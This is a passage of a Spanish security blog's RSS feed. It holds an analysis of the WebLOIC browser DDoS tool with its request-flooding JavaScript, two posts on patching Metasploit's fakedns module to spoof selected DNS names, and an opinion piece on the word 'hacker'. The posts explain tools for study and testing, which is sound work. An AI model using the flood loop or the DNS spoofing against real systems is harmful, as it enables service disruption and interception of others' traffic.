&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lastSuccess = currentTime.getTime();};&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;var rID =Number(new Date());&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;var img = new Image();&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;img.onerror = function () { onFail(rID); };&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;img.onabort = function () { onFail(rID); };&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;img.onload = function () { onSuccess(rID);&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; };&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;img.setAttribute("src", targetURL + "?id=" + rID + "&amp;amp;msg=" + messageNode.value);&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; requestsHT[rID] = img;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; onRequest(rID);&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;};&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Como podemos ver, existe una función "makeHttpRequest" crea una imagen y le asigna la URL de nuestro objetivo. Al intentar "mostrar" esta imagen, nuestro navegador va a hacer una conexión HTTP para conseguirla traer, exista o no, con lo que efectivamente se va a&amp;nbsp;provocar&amp;nbsp;una conexión HTTP. Ahora ya solo nos queda ver como hace para lanzar muchas conexiones. En otra zona de código encontramos lo que se ejecuta cuando pulsamos el botón de "protestar", que resumiendo es algo así:&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Vemos que usa la función &lt;a href="http://www.w3schools.com/jsref/met_win_setinterval.asp" target="_blank"&gt;setInterval()&lt;/a&gt;, que va a ejecutar el "makeHttpRequest" la cantidad de veces por segundo que se le ha indicado en el formulario.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
A modo de resumen, el "WebLOIC" utiliza javascript para crear objetos que hacen referencia a imagenes (que no existen) en el servidor atacado, a una gran velocidad, con lo que se generan muchas conexiones que podrían llegar a colapsar el servidor, sobretodo si el ataque es seguido por un gran número de gente.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Una cosa a destacar, es que la gente que accede a estas webs puede llegar a pensar que es la web la que lanza el ataque, pero no, como hemos podido ver, es el navegador del usuario el que genera las conexiones, por lo que en todos los registros del servidor atacado va a aparecer su IP, User-Agent, etc, incluso si se realiza contra una web de la que seas usuario habitual... ¿se mandaría tu cookie? tendría que probarlo, pero es posible que sí, y que pudieran identificarte con nombre y apellidos.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Esta, por supuesto, solo es una más de las herramientas que se pueden usar para hacer un DDoS, pero me ha parecido interesante pegarle un vistazo por haber sido usada recientemente en la pasada huelga general.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Actualización&lt;/u&gt;: Leo en un Tweet de &lt;a href="https://twitter.com/#!/ldelgadoj" target="_blank"&gt;Luis Delgado&lt;/a&gt; que ha probado el tema de la Cookie y, efectivamente, ésta sería mandada. Ver Tweet &lt;a href="https://twitter.com/#!/ldelgadoj/status/186758569620811776/" target="_blank"&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-8716458422815362081?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/04/webloic-ddos-de-anonymous.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-k9TNFOOSpxE/T3W77kbRmXI/AAAAAAAAAn4/exgqxJERPRY/s72-c/Twitter.png" height="72" width="72" /><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3007227141199678585</guid><pubDate>Tue, 27 Mar 2012 05:33:00 +0000</pubDate><atom:updated>2012-04-04T08:15:35.048+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">metasploit</category><title>Mejorando FakeDNS (y II)</title><description>&lt;div style="text-align: justify;"&gt;
En &lt;a href="http://www.pentester.es/2012/03/mejorando-fakedns-i.html"&gt;la anterior entrada&lt;/a&gt; nos&amp;nbsp;quedábamos&amp;nbsp;con que habíamos modificado el módulo "fakedns" de Metasploit para invertir su funcionalidad, y nos habíamos encontrado con un mensaje de error en determinadas circunstancias:&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(fakedns_single) &amp;gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;[-] fakedns: Resolv::ResolvError DNS result has no information for foo.pentester.es&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
El problema que identificamos es que el módulo tiene un error cuando intentas resolver contra él un nombre que no existe (foo.pentester.es). Esto es debido a que hemos alterado con un parche guarrindongo el funcionamiento original del módulo, así que ahora nos vemos en situaciones que el desarrollador no pensó. En este caso, la resolución real únicamente se iba a realizar para aquellos nombres que nosotros definiéramos en el "domain bypass", que evidentemente iban a ser dominios existentes, así que no se implementaron medidas que comprobaran si la resolución existe o no.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Como hemos modificado el módulo y ahora no tenemos control sobre los nombres que va a resolver y cuales no, debemos añadir un control de excepciones en la zona del código en la que se realiza la resolución:&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;begin&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ip = Resolv::DNS.new().getaddress(name).to_s&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; answer = Resolv::DNS::Resource::IN::A.new( ip )&lt;/i&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;rescue ::Exception =&amp;gt; e&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; next&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;end&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Con este control añadido, vamos a volver a intentar resolver algunos nombres a ver si hemos conseguido que el módulo siga funcionando a pesar de no poder resolver un nombre:&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;$ &lt;b&gt;dig @127.0.0.1 www.pentester.es&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;www.pentester.es.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;60&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;IN&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;A&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;192.168.1.100&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;$&amp;nbsp;&lt;b&gt;dig @127.0.0.1 foo.pentester.es&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;;foo.pentester.es.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;IN&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;A&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;$ &lt;b&gt;dig @127.0.0.1 www.yahoo.com&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;www.yahoo.com.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;60&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;IN&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;A&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;98.139.183.24&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Perfecto! Ahora está resolviendo correctamente y además no casca, así que ya podemos utilizarlo para analizar las conexiones que queremos.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Esta solución es un poco chapuza, pero es funcional, y nos puede servir para interceptar solo las conexiones que queramos, con algunas limitaciones.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
¿Quereis ver la solución buena? Lo veremos &lt;a href="http://www.pentester.es/2012/04/bestfakedns-para-metasploit.html" target="_blank"&gt;en el próximo post&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-3007227141199678585?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/03/mejorando-fakedns-y-ii.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1647503948697573755</guid><pubDate>Mon, 26 Mar 2012 05:38:00 +0000</pubDate><atom:updated>2012-03-27T08:12:37.260+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">metasploit</category><title>Mejorando FakeDNS (I)</title><description>&lt;div style="text-align: justify;"&gt;Como ya&amp;nbsp;sabréis&amp;nbsp;todos, soy un enamorado del Metasploit Framework, pero no por los exploits que incluye, sino por otras&amp;nbsp;funcionalidades&amp;nbsp;incluidas en el framework que me resultan muy útiles y cómodas de utilizar.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una de las funcionalidades que uso con mucha frecuencia es la del módulo fakedns, que te permite configurar un servidor DNS en cuestión de segundos, que resolverá cualquier nombre con la IP que le digamos, salvo una lista concreta de nombres para los que se resolverán sus IPs reales.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Veamos como funciona:&lt;/div&gt;&lt;br /&gt;
&lt;i&gt;# &lt;b&gt;./msfconsole&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;gt;&amp;nbsp;&lt;b&gt;use auxiliary/server/fakedns&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(fakedns) &amp;gt; &lt;b&gt;show options&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Module options (auxiliary/server/fakedns):&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Current Setting &amp;nbsp;Required &amp;nbsp;Description&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;--------------- &amp;nbsp;-------- &amp;nbsp;-----------&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;DOMAINBYPASS &amp;nbsp;www.google.com &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The list of domain names we want to fully resolve&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;SRVHOST &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The local host to listen on.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;SRVPORT &amp;nbsp; &amp;nbsp; &amp;nbsp; 53 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The local port to listen on.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;TARGETHOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The address that all names should resolve to&lt;/i&gt;&lt;br /&gt;
&lt;div&gt;&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;msf &amp;nbsp;auxiliary(fakedns) &amp;gt; &lt;b&gt;set DOMAINBYPASS www.pentester.es&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;msf &amp;nbsp;auxiliary(fakedns) &amp;gt; &lt;b&gt;set TARGETHOST 192.168.1.100&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;msf &amp;nbsp;auxiliary(fakedns) &amp;gt; &lt;b&gt;run&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[*] Auxiliary module execution completed&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[*] DNS server initializing&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[*] DNS server started&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora, si probamos a hacer algunos "dig" (os enseño la salida recortada), veremos como resuelve todos los nombres con la dirección 192.168.1.100, salvo el nombre www.pentester.es (o los que&amp;nbsp;hubiéramos&amp;nbsp;pasado separados por espacios):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;$ &lt;b&gt;dig @127.0.0.1 www.google.com&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.google.com.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;60&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;IN&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;A&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;192.168.1.100&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;$ &lt;b&gt;dig @127.0.0.1 www.yahoo.com&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.yahoo.com.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;60&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;IN&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;A&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;192.168.1.100&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;$ &lt;b&gt;dig @127.0.0.1 www.pentester.es&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.pentester.es.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;60&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;IN&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;A&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;173.194.66.121&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Este funcionamiento... a mi nunca me ha terminado de convencer, lo veo demasiado "de botón gordo", ya que yo por lo general suelo querer interceptar solo una o un grupo de conexiones, y dejar que todas las demás sigan su funcionamiento normal.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por suerte estamos trabajando con software OpenSource y tenemos la oportunidad de poder acceder al código y modificarlo según nos convenga, así que vamos a pegarle un vistazo al código (modules/auxiliary/server/fakedns.rb):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-nV-xedFTv9o/T23xSDQKgMI/AAAAAAAAAng/cyUW4NJWX-w/s1600/codigo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="308" src="http://3.bp.blogspot.com/-nV-xedFTv9o/T23xSDQKgMI/AAAAAAAAAng/cyUW4NJWX-w/s640/codigo.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, hay un punto en el código en el que se recorre la lista y se compara con la petición DNS que acaba de entrar. Si son iguales, entonces se hace una resolución "normal", mientras que si tras recorrer la lista no ha encontrado ninguno se entiende que al no estar en la lista de "bypass", se envia la respuesta "fake".&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si pensamos en una solución rápida y práctica, podemos&amp;nbsp;sencillamente&amp;nbsp;cambiar la condición:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;if &lt;b&gt;(name.to_s &amp;lt;=&amp;gt; ex) != 0&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Con esto, siempre y cuando solo pongamos un elemento en la lista, vamos a tener más que suficiente, ya que va a funcionar de la forma completamente contraria: Cuando el nombre solicitado esté en la lista resolverá con fake, y cuando no lo esté funcionará normal.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta aproximación tan sencilla es la que he usado muchas veces cuando he querido interceptar las conexiones de algún software para analizarlas y dejar que el resto de elementos del sistema funcionen sin pasar por mis otras herramientas. Sin embargo, en algunas situaciones...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;i&gt;msf &amp;nbsp;auxiliary(fakedns_single) &amp;gt; [-] fakedns: Resolv::ResolvError DNS result has no information for foo.pentester.es /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:363:in `getaddress'/opt/msf/modules/auxiliary/server/fakedns.rb:143:in `run'/opt/msf/modules/auxiliary/server/fakedns.rb:140:in `each'/opt/msf/modules/auxiliary/server/fakedns.rb:140:in `run'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1183:in `each_question'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1182:in `each'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1182:in `each_question'/opt/msf/modules/auxiliary/server/fakedns.rb:115:in `run'/opt/msf/lib/msf/base/simple/auxiliary.rb:102:in `job_run_proc'/opt/msf/lib/msf/base/simple/auxiliary.rb:74:in `run_simple'/opt/msf/lib/rex/job_container.rb:36:in `call'/opt/msf/lib/rex/job_container.rb:36:in `start'/opt/msf/lib/rex/thread_factory.rb:21:in `call'/opt/msf/lib/rex/thread_factory.rb:21:in `spawn'/opt/msf/lib/msf/core/thread_manager.rb:64:in `call'/opt/msf/lib/msf/core/thread_manager.rb:64:in `spawn'/opt/msf/lib/msf/core/thread_manager.rb:57:in `initialize'/opt/msf/lib/msf/core/thread_manager.rb:57:in `new'/opt/msf/lib/msf/core/thread_manager.rb:57:in `spawn'/opt/msf/lib/rex/thread_factory.rb:21:in `spawn'/opt/msf/lib/rex/job_container.rb:31:in `start'/opt/msf/lib/rex/job_container.rb:155:in `start_bg_job'/opt/msf/lib/msf/base/simple/auxiliary.rb:71:in `run_simple'/opt/msf/lib/msf/base/simple/auxiliary.rb:89:in `run_simple'/opt/msf/lib/msf/ui/console/command_dispatcher/auxiliary.rb:103:in `cmd_run'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:380:in `send'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:380:in `run_command'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:342:in `run_single'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:336:in `each'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:336:in `run_single'/opt/msf/lib/rex/ui/text/shell.rb:199:in `run'./msfconsole:134&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Ops! Cascazo! Y además la ejecución del módulo se ha ido al garete, así que como tenga en una red o host peticiones como esta... voy a estar teniendolo que rearrancar cada dos por tres. Imposible trabajar así, vamos.&lt;/div&gt;&lt;div&gt;En &lt;a href="http://www.pentester.es/2012/03/mejorando-fakedns-y-ii.html"&gt;el próximo post&lt;/a&gt; veremos porque pasa esto y como evitarlo, y seguiremos mejorando el fakedns.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1647503948697573755?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/03/mejorando-fakedns-i.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-nV-xedFTv9o/T23xSDQKgMI/AAAAAAAAAng/cyUW4NJWX-w/s72-c/codigo.png" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6515253298541814104</guid><pubDate>Tue, 20 Mar 2012 12:06:00 +0000</pubDate><atom:updated>2012-03-20T13:06:51.068+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PentesterEs</category><title>Hackers</title><description>&lt;div style="text-align: justify;"&gt;Antes de nada, quiero adelantar que no soy persona a la que le guste escribir posts de opinión ni nada que no tenga "cacharreo" detrás, pero en esta ocasión voy a hacer una excepción que supongo que entendereis si&amp;nbsp;leéis&amp;nbsp;hasta el final.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_T4qRpAarC5M/SXjJAbPLbBI/AAAAAAAAAAc/KUtx59z0ij0/s400/hacker+inside.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="160" src="http://3.bp.blogspot.com/_T4qRpAarC5M/SXjJAbPLbBI/AAAAAAAAAAc/KUtx59z0ij0/s200/hacker+inside.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En la pasada &lt;a href="http://www.rootedcon.es/" target="_blank"&gt;RootedCON&lt;/a&gt;, durante uno de los RootedPanels, uno de los moderadores preguntó ¿cuántos de aquí sois hackers?&amp;nbsp;Prácticamente&amp;nbsp;nadie de la audiencia levantó la mano (entre los que me incluyo). El término "Hacker" está siendo empleado por los medios como sinónimo de "Pirata Informático" o "delincuente", y con toda esa carga semántica es normal que nadie quiera levantar la mano.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La definición que más me gusta, no recuerdo donde lo leí o a quien se la escuché, o si se me ocurrió en un momento de inspiración filosófica, pero: &lt;b&gt;&lt;i&gt;El Hacking es el ARTE de hacer que las cosas funcionen de manera diferente a como su creador originalmente pensó&lt;/i&gt;&lt;/b&gt;. Si os&amp;nbsp;fijáis, este definición no es puramente tecnológica, como otras que he visto, y se puede aplicar a aquella persona que diseña una cadena de entrada que hace que un software ejecute código cuando únicamente debería mostrar una información, pero también se puede aplicar a aquellas personas que hacen tunning de un coche, o a los compañeros de &lt;a href="http://www.ikeahackers.net/" target="_blank"&gt;IKEA Hackers&lt;/a&gt;, que cogen las piezas de un mueble y las montan de forma que se obtiene algo diferente.&amp;nbsp;&lt;b&gt;Esto&amp;nbsp;para mi es ser un Hacker,&lt;/b&gt; tener un conocimiento sobre tu campo suficientemente profundo como para poder hacer Hacking sobre él.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A pesar de esto, son tan malas las connotaciones que se han atribuido al término "Hacker" que los que nos dedicamos a esto empleamos el término "Hacking Ético" para venderlo ¿cómo que ético? ODIO el término "ético" porque asume que el "Hacking" de por si no es ético, algo que es totalmente falso. Es como si algunos atracadores de bancos practicaran atletismo y lo utilizaran para darse a la fuga, y los medios acabaran usando tantas veces el término "atleta" como sinónimo de "delincuente" que los que siempre lo han practicado tuvieran que empezar a decir que practican "Atletismo Ético". Absurdo ¿verdad? ¿Y "cerrajerismo ético"? También hay ladrones que abren cerraduras, y no por ello los medios han "demonizado" a este colectivo.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pero también es culpa nuestra, porque hemos permitido que lo hagan, porque no les hemos corregido, o porque cuando una persona pregunta ¿quién aquí se considera un hacker? Todos agachamos la cabeza y fortalecemos la sensación de la sociedad de que ser un hacker es algo malo.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Yo soy un hacker&lt;/span&gt;&lt;/b&gt;, o al menos intento leer, estudiar, practicar todos los días para alcanzar los conocimientos necesarios para poder utilizar las técnicas de hacking. &lt;b&gt;NO soy un delincuente&lt;/b&gt;, y ME NIEGO a seguir utilizando el calificativo "Ético" referido a mi trabajo.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Te gusta leer absolutamente todo lo que pasa por tus manos? ¿Te gusta saber como funciona todo hasta el más mínimo detalle? Y cuando ves claramente que en determinadas circunstancias podrías hacer que algo funcionara de manera diferente ¿te gusta probar si eres capaz de hacerlo? &lt;b&gt;Amigo mio, eres un hacker&lt;/b&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;-----------------------------&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
